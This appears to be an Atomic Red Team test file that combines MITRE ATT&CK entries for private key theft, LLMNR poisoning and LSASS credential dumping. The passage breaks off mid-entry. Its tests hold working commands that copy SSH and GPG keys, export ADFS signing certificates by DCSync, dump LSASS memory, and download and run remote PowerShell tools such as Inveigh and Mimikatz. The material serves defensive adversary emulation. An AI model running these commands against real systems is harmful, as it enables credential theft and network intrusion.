x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.1' x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Access' type: attack-pattern id: attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf created: '2020-02-04T13:06:49.258Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1552/004 external_id: T1552.004 - source_name: Palo Alto Prince of Persia description: Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia – Game Over. Retrieved July 5, 2017. url: https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/ - source_name: cisco_deploy_rsa_keys description: 'Cisco. (2023, February 17). Chapter: Deploying RSA Keys Within a PKI . Retrieved March 27, 2023.' url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_conn_pki/configuration/xe-17/sec-pki-xe-17-book/sec-deploy-rsa-pki.html#GUID-1CB802D8-9DE3-447F-BECE-CF22F5E11436 - source_name: AADInternals Azure AD Device Identities description: Dr. Nestori Syynimaa. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved February 21, 2023. url: https://aadinternals.com/post/deviceidentity/ - source_name: Kaspersky Careto description: Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The Masked APT. Retrieved July 5, 2017. url: https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf - source_name: Microsoft Primary Refresh Token description: Microsoft. (2022, September 9). What is a Primary Refresh Token?. Retrieved February 21, 2023. url: https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token - source_name: Wikipedia Public Key Crypto description: Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017. url: https://en.wikipedia.org/wiki/Public-key_cryptography object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1552.004 atomic_tests: - name: Private Keys auto_generated_guid: 520ce462-7ca7-441e-b5a5-f8347f632696 description: | Find private keys on the Windows file system. File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc supported_platforms: - windows executor: command: 'dir c:\ /b /s .key | findstr /e .key ' name: command_prompt elevation_required: true - name: Discover Private SSH Keys auto_generated_guid: 46959285-906d-40fa-9437-5a439accd878 description: 'Discover private SSH keys on a FreeBSD, macOS or Linux system. ' supported_platforms: - linux - macos input_arguments: search_path: description: Path where to start searching from. type: path default: "/" output_file: description: Output file containing locations of SSH key files type: path default: "/tmp/keyfile_locations.txt" executor: command: | find #{search_path} -name id_rsa 2>/dev/null >> #{output_file} exit 0 cleanup_command: 'rm #{output_file} ' name: sh - name: Copy Private SSH Keys with CP auto_generated_guid: 7c247dc7-5128-4643-907b-73a76d9135c3 description: 'Copy private SSH keys on a Linux system to a staging folder using the `cp` command. ' supported_platforms: - linux input_arguments: search_path: description: Path where to start searching from. type: path default: "/" output_folder: description: Output folder containing copies of SSH private key files type: path default: "/tmp/art-staging" executor: command: | mkdir #{output_folder} find #{search_path} -name id_rsa 2>/dev/null -exec cp --parents {} #{output_folder} \; exit 0 cleanup_command: 'rm -rf #{output_folder} ' name: sh - name: Copy Private SSH Keys with CP (freebsd) auto_generated_guid: 12e4a260-a7fd-4ed8-bf18-1a28c1395775 description: 'Copy private SSH keys on a FreeBSD system to a staging folder using the `cp` command. ' supported_platforms: - linux input_arguments: search_path: description: Path where to start searching from. type: path default: "/" output_folder: description: Output folder containing copies of SSH private key files type: path default: "/tmp/art-staging" dependency_executor_name: sh dependencies: - description: 'Install GNU cp from coreutils package. ' prereq_command: 'if [ ! -x "$(command -v gcp)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which pkg && pkg install -y coreutils)\n" executor: command: | mkdir #{output_folder} find #{search_path} -name id_rsa 2>/dev/null -exec gcp --parents {} #{output_folder} \; cleanup_command: 'rm -rf #{output_folder} ' name: sh - name: Copy Private SSH Keys with rsync auto_generated_guid: 864bb0b2-6bb5-489a-b43b-a77b3a16d68a description: 'Copy private SSH keys on a Linux or macOS system to a staging folder using the `rsync` command. ' supported_platforms: - macos - linux input_arguments: search_path: description: Path where to start searching from. type: path default: "/" output_folder: description: Output folder containing copies of SSH private key files type: path default: "/tmp/art-staging" executor: command: | mkdir #{output_folder} find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \; exit 0 cleanup_command: 'rm -rf #{output_folder} ' name: sh - name: Copy Private SSH Keys with rsync (freebsd) auto_generated_guid: 922b1080-0b95-42b0-9585-b9a5ea0af044 description: 'Copy private SSH keys on a FreeBSD system to a staging folder using the `rsync` command. ' supported_platforms: - linux input_arguments: search_path: description: Path where to start searching from. type: path default: "/" output_folder: description: Output folder containing copies of SSH private key files type: path default: "/tmp/art-staging" dependency_executor_name: sh dependencies: - description: 'Check if rsync is installed. ' prereq_command: 'if [ ! -x "$(command -v rsync)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which pkg && pkg install -y rsync)\n" executor: command: | mkdir #{output_folder} find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \; cleanup_command: 'rm -rf #{output_folder} ' name: sh - name: Copy the users GnuPG directory with rsync auto_generated_guid: 2a5a0601-f5fb-4e2e-aa09-73282ae6afca description: 'Copy the users GnuPG (.gnupg) directory on a Mac or Linux system to a staging folder using the `rsync` command. ' supported_platforms: - macos - linux input_arguments: search_path: description: Path where to start searching from type: path default: "/" output_folder: description: Output folder containing a copy of the .gnupg directory type: path default: "/tmp/GnuPG" executor: command: | mkdir #{output_folder} find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \; exit 0 cleanup_command: 'rm -rf #{output_folder} ' name: sh - name: Copy the users GnuPG directory with rsync (freebsd) auto_generated_guid: b05ac39b-515f-48e9-88e9-2f141b5bcad0 description: 'Copy the users GnuPG (.gnupg) directory on a FreeBSD system to a staging folder using the `rsync` command. ' supported_platforms: - linux input_arguments: search_path: description: Path where to start searching from type: path default: "/" output_folder: description: Output folder containing a copy of the .gnupg directory type: path default: "/tmp/GnuPG" dependency_executor_name: sh dependencies: - description: 'Check if rsync is installed. ' prereq_command: 'if [ ! -x "$(command -v rsync)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which pkg && pkg install -y rsync)\n" executor: command: | mkdir #{output_folder} find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \; cleanup_command: 'rm -rf #{output_folder} ' name: sh - name: ADFS token signing and encryption certificates theft - Local auto_generated_guid: 78e95057-d429-4e66-8f82-0f060c1ac96f description: | Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server. Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump. supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'AADInternals module must be installed. ' prereq_command: 'if (Get-Module AADInternals) {exit 0} else {exit 1} ' get_prereq_command: 'Install-Module -Name AADInternals -Force ' executor: command: | Import-Module AADInternals -Force Export-AADIntADFSCertificates Get-ChildItem | Where-Object {$_ -like "ADFS*"} Write-Host "`nCertificates retrieved successfully" cleanup_command: | Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore name: powershell - name: ADFS token signing and encryption certificates theft - Remote auto_generated_guid: cab413d8-9e4a-4b8d-9b84-c985bd73a442 description: | Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as a Domain Administrators user on a domain-joined computer. Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump. supported_platforms: - windows input_arguments: adfs_service_account_name: description: Name of the ADFS service account type: string default: adfs_svc replication_user: description: Username with replication rights. It can be the Domain Admin running the script type: string default: Administrator replication_password: description: Password of replication_username type: string default: ReallyStrongPassword adfs_server_name: description: Name of an ADFS server type: string default: sts.contoso.com dependency_executor_name: powershell dependencies: - description: 'AADInternals and ActiveDirectory modules must be installed. ' prereq_command: 'if ($(Get-Module AADInternals) -or $(Get-Module -ListAvailable -Name ActiveDirectory)) {echo 0} else {echo 1} ' get_prereq_command: 'Install-Module -Name AADInternals -Force ' executor: command: "Import-Module ActiveDirectory -Force \nImport-Module AADInternals -Force | Out-Null\n#Get Configuration\n$dcServerName = (Get-ADDomainController).HostName\n$svc = Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq \"#{adfs_service_account_name}\"\n$PWord = ConvertTo-SecureString -String \"#{replication_password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{replication_user}, $PWord\n# use DCSync to fetch the ADFS service account's NT hash\n$hash = Get-AADIntADUserNTHash -ObjectGuid $svc.ObjectGuid -Credentials $Credential -Server $dcServerName -AsHex\n$ADFSConfig = Export-AADIntADFSConfiguration -Hash $hash -SID $svc.Objectsid.Value -Server #{adfs_server_name}\n# Get certificates decryption key\n$Configuration = [xml]$ADFSConfig\n$group = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.Group\n$container = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName\n$parent = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn\n$base = \"LDAP://CN=$group,$container,$parent\"\n$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new($base))\n$ADSearch.Filter = '(name=CryptoPolicy)'\n$ADSearch.PropertiesToLoad.Clear()\n$ADSearch.PropertiesToLoad.Add(\"displayName\") | Out-Null\n$aduser = $ADSearch.FindOne()\n$keyObjectGuid = $ADUser.Properties[\"displayName\"] \n$ADSearch.PropertiesToLoad.Clear()\n$ADSearch.PropertiesToLoad.Add(\"thumbnailphoto\") | Out-Null\n$ADSearch.Filter=\"(l=$keyObjectGuid)\"\n$aduser=$ADSearch.FindOne() \n$key=[byte[]]$aduser.Properties[\"thumbnailphoto\"][0] \n# Get encrypted certificates from configuration and decrypt them\nExport-AADIntADFSCertificates -Configuration $ADFSConfig -Key $key\nGet-ChildItem | Where-Object {$_ -like \"ADFS*\"}\nWrite-Host \"`nCertificates retrieved successfully\"\n" cleanup_command: | Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore name: powershell - name: CertUtil ExportPFX auto_generated_guid: 336b25bf-4514-4684-8924-474974f28137 description: | The following Atomic test simulates adding a generic non-malicious certificate to the Root certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog. In addition, this Atomic utilizes CertUtil to export the PFX (ExportPFX), similar to what was seen in the Golden SAML attack. Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates Reference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec Reference: https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html supported_platforms: - windows input_arguments: output: description: file path to export to type: path default: c:\temp\atomic.pfx password: description: password for cert type: string default: password executor: command: "IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) \ncertutil.exe -p #{password} -exportPFX Root 1F3D38F280635F275BE92B87CF83E40E40458400 #{output}\n" cleanup_command: "Get-ChildItem -Path Cert:\\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item \n" name: powershell elevation_required: true - name: Export Root Certificate with Export-PFXCertificate auto_generated_guid: 7617f689-bbd8-44bc-adcd-6f8968897848 description: | Creates a Root certificate and exports it with Export-PFXCertificate PowerShell Cmdlet. Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-PFXCertificate. supported_platforms: - windows input_arguments: pfx_path: description: output path of the certificate type: string default: "$env:Temp\\atomicredteam.pfx" executor: command: | $mypwd = ConvertTo-SecureString -String "AtomicRedTeam" -Force -AsPlainText $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My Set-Location Cert:\LocalMachine\My Get-ChildItem -Path $cert.Thumbprint | Export-PfxCertificate -FilePath #{pfx_path} -Password $mypwd cleanup_command: | try { $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore } catch { } name: powershell elevation_required: true - name: Export Root Certificate with Export-Certificate auto_generated_guid: 78b274f8-acb0-428b-b1f7-7b0d0e73330a description: | Creates a Root certificate and exports it with Export-Certificate PowerShell Cmdlet. Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-Certificate. supported_platforms: - windows input_arguments: pfx_path: description: Path of the certificate type: path default: "$env:Temp\\AtomicRedTeam.cer" executor: command: | $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My Set-Location Cert:\LocalMachine\My Export-Certificate -Type CERT -Cert Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path} cleanup_command: | try { $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore } catch { } name: powershell elevation_required: true - name: Export Certificates with Mimikatz auto_generated_guid: 290df60e-4b5d-4a5e-b0c7-dc5348ea0c86 description: | The following Atomic test will utilize Mimikatz to extract the certificates from the local system My store. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands. A successful attempt will stdout the certificates and write multiple .pfx and .der files to disk. supported_platforms: - windows input_arguments: mimikatz_exe: description: Path of the Mimikatz binary type: string default: PathToAtomicsFolder\..\ExternalPayloads\x64\mimikatz.exe dependency_executor_name: powershell dependencies: - description: 'Mimikatz must exist on disk at specified location (#{mimikatz_exe}) ' prereq_command: 'if (Test-Path "#{mimikatz_exe}") {exit 0} else {exit 1} ' get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path \"#{mimikatz_exe}\" | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" executor: command: '"#{mimikatz_exe}" "crypto::certificates /systemstore:local_machine /store:my /export" exit ' name: command_prompt elevation_required: true T1557.001: technique: modified: '2023-04-25T14:00:00.188Z' name: 'Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay' description: "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response. \n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: collection x_mitre_detection: |- Monitor HKLM\Software\Policies\Microsoft\Windows NT\DNSClient for changes to the "EnableMulticast" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS) Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy. Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay) x_mitre_platforms: - Windows x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.4' x_mitre_contributors: - Eric Kuehn, Secure Ideas - Matthew Demaske, Adaptforward - Andrew Allen, @whitehat_zero x_mitre_data_sources: - 'Service: Service Creation' - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' - 'Windows Registry: Windows Registry Key Modification' type: attack-pattern id: attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e created: '2020-02-11T19:08:51.677Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1557/001 external_id: T1557.001 - source_name: Rapid7 LLMNR Spoofer description: Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017. url: https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response - source_name: GitHub Responder description: Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017. url: https://github.com/SpiderLabs/Responder - source_name: Secure Ideas SMB Relay description: Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019. url: https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html - source_name: TechNet NetBIOS description: Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017. url: https://technet.microsoft.com/library/cc958811.aspx - source_name: GitHub NBNSpoof description: Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017. url: https://github.com/nomex/nbnspoof - source_name: GitHub Conveigh description: Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017. url: https://github.com/Kevin-Robertson/Conveigh - source_name: byt3bl33d3r NTLM Relaying description: Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019. url: https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html - source_name: Sternsecurity LLMNR-NBTNS description: 'Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.' url: https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning - source_name: Wikipedia LLMNR description: Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017. url: https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.0.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1557.001 atomic_tests: - name: LLMNR Poisoning with Inveigh (PowerShell) auto_generated_guid: deecd55f-afe0-4a62-9fba-4d1ba2deb321 description: Inveigh conducts spoofing attacks and hash/credential captures through both packet sniffing and protocol specific listeners/sockets. This Atomic will run continuously until you cancel it or it times out. supported_platforms: - windows executor: command: |- [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/82be2377ade47a4e325217b4144878a59595e750/Inveigh.ps1" -UseBasicParsing) Invoke-Inveigh -ConsoleOutput Y -NBNS Y -MDNS Y -HTTPS Y -PROXY Y name: powershell elevation_required: true T1003.001: technique: modified: '2023-12-27T17:57:20.003Z' name: 'OS Credential Dumping: LSASS Memory' description: | Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550). As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system. For example, on the target host use procdump: * procdump -ma lsass.exe lsass_dump Locally, mimikatz can be run using: * sekurlsa::Minidump lsassdump.dmp * sekurlsa::logonPasswords Built-in Windows tools such as `comsvcs.dll` can also be used: * rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector) Similar to [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012), the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).(Citation: Deep Instinct LSASS) Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014) The following SSPs can be used to access credentials: * Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package. * Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection) * Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later. * CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Edward Millington - Ed Williams, Trustwave, SpiderLabs - Olaf Hartong, Falcon Force x_mitre_deprecated: false x_mitre_detection: |- Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity. On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process. Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.4' x_mitre_data_sources: - 'Process: Process Access' - 'Windows Registry: Windows Registry Key Modification' - 'Process: Process Creation' - 'Process: OS API Execution' - 'Logon Session: Logon Session Creation' - 'Command: Command Execution' - 'File: File Creation' type: attack-pattern id: attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90 created: '2020-02-11T18:41:44.783Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1003/001 external_id: T1003.001 - source_name: Medium Detecting Attempts to Steal Passwords from Memory description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019. url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea - source_name: Deep Instinct LSASS description: Gilboa, A. (2021, February 16). LSASS Memory Dumps are Stealthier than Ever Before - Part 2. Retrieved December 27, 2023. url: https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2 - source_name: Graeber 2014 description: Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017. url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html - source_name: Volexity Exchange Marauder March 2021 description: 'Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.' url: https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/ - source_name: Powersploit description: PowerSploit. (n.d.). Retrieved December 4, 2014. url: https://github.com/mattifestation/PowerSploit - source_name: Symantec Attacks Against Government Sector description: Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021. url: https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf - source_name: TechNet Blogs Credential Protection description: Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018. url: https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1003.001 atomic_tests: - name: Dump LSASS.exe Memory using ProcDump auto_generated_guid: 0be2230c-9ab3-4ac2-8826-3199b9a0ebf8 description: | The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the get-prereq_commands to download and install the ProcDump tool first. supported_platforms: - windows input_arguments: output_file: description: Path where resulting dump should be placed type: path default: C:\Windows\Temp\lsass_dump.dmp procdump_exe: description: Path of Procdump executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\procdump.exe dependency_executor_name: powershell dependencies: - description: 'ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe}) ' prereq_command: 'if (Test-Path "#{procdump_exe}") {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" "PathToAtomicsFolder\..\ExternalPayloads\Procdump" -Force New-Item -ItemType Directory (Split-Path "#{procdump_exe}") -Force | Out-Null Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\Procdump\Procdump.exe" "#{procdump_exe}" -Force executor: command: '"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file} ' cleanup_command: 'del "#{output_file}" >nul 2> nul ' name: command_prompt elevation_required: true - name: Dump LSASS.exe Memory using comsvcs.dll auto_generated_guid: 2536dee2-12fb-459a-8c37-971844fa73be description: | The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp. supported_platforms: - windows executor: command: 'C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full ' cleanup_command: 'Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore ' name: powershell elevation_required: true - name: Dump LSASS.exe Memory using direct system calls and API unhooking auto_generated_guid: 7ae7102c-a099-45c8-b985-4c7a2d05790d description: "The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection. \nhttps://github.com/outflanknl/Dumpert\nhttps://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/\nUpon successful execution, you should see the following file created C:\\\\windows\\\\temp\\\\dumpert.dmp.\n\nIf you see a message saying \\\"The system cannot find the path specified.\\\", try using the get-prereq_commands to download the tool first.\n" supported_platforms: - windows input_arguments: dumpert_exe: description: Path of Dumpert executable type: path default: 